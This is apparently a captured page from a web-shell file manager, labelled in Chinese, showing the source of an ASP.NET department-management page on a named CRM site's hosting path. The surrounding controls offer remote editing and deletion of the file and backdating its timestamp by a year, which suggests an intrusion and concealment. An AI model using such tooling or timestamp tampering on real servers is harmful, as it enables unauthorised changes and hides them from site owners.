文件操作 - ManageDepartment.aspx
返回文件管理
返回主菜单
删除本文件
文件: E:\HostingSpaces\kimblycr\crm.kimbly.in\wwwroot\WebForms\ManageDepartment.aspx
编辑文件内容
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="ManageDepartment.aspx.cs" Inherits="BasicCRM.WebForms.ManageDepartment" %> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"><title></title><link href="../css/bootstrap.css" rel="stylesheet" /></head> <body> <form id="form1" runat="server"> <div><h3>Departments</h3> </div> <div style="width:100%"> <div style="width:45%; float:left; margin-left:5px"> <asp:GridView ID="GridView1" runat="server" AutoGenerateColumns="False" CellPadding="4" ForeColor="#333333" GridLines="None" Width="333px" DataKeyNames="ID" DataSourceID="SqlDataSource1"> <AlternatingRowStyle BackColor="White" ForeColor="#284775" /> <Columns> <asp:BoundField DataField="ID" HeaderText="ID" InsertVisible="False" ReadOnly="True" SortExpression="ID" /> <asp:BoundField DataField="Name" HeaderText="Name" SortExpression="Name" /> <asp:CheckBoxField DataField="Active" HeaderText="Active" SortExpression="Active" /> <asp:CommandField ShowEditButton="True" /> <asp:CommandField ShowDeleteButton="True" /> </Columns> <EditRowStyle BackColor="#999999" /> <EmptyDataTemplate> <asp:TextBox ID="TextBox2" runat="server"></asp:TextBox> </EmptyDataTemplate> <FooterStyle BackColor="#5D7B9D" Font-Bold="True" ForeColor="White" /> <HeaderStyle BackColor="#5D7B9D" Font-Bold="True" ForeColor="White" /> <PagerStyle BackColor="#284775" ForeColor="White" HorizontalAlign="Center" /> <RowStyle BackColor="#F7F6F3" ForeColor="#333333" /> <SelectedRowStyle BackColor="#E2DED6" Font-Bold="True" ForeColor="#333333" /> <SortedAscendingCellStyle BackColor="#E9E7E2" /> <SortedAscendingHeaderStyle BackColor="#506C8C" /> <SortedDescendingCellStyle BackColor="#FFFDF8" /> <SortedDescendingHeaderStyle BackColor="#6F8DAE" /> </asp:GridView> <asp:SqlDataSource ID="SqlDataSource1" runat="server" ConnectionString="<%$ ConnectionStrings:ApplicationServices %>" DeleteCommand="Update [Departments] set Active ='0' WHERE [ID] = @ID" InsertCommand="INSERT INTO [Departments] ([Name], [Active]) VALUES (@Name, @Active)" SelectCommand="SELECT * FROM [Departments] ORDER BY [Name]" UpdateCommand="UPDATE [Departments] SET [Name] = @Name, [Active] = @Active WHERE [ID] = @ID"> <DeleteParameters> <asp:Parameter Name="ID" Type="Int32" /> </DeleteParameters> <InsertParameters> <asp:Parameter Name="Name" Type="String" /> <asp:Parameter Name="Active" Type="Boolean" /> </InsertParameters> <UpdateParameters> <asp:Parameter Name="Name" Type="String" /> <asp:Parameter Name="Active" Type="Boolean" /> <asp:Parameter Name="ID" Type="Int32" /> </UpdateParameters> </asp:SqlDataSource> </div> <div style="width:50%; float:left"> Add <asp:TextBox ID="txtIndName" runat="server"></asp:TextBox> <asp:Button ID="BtnSave" runat="server" Text="Save" OnClick="BtnSave_Click" /> </div> </div> </form> </body> </html>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件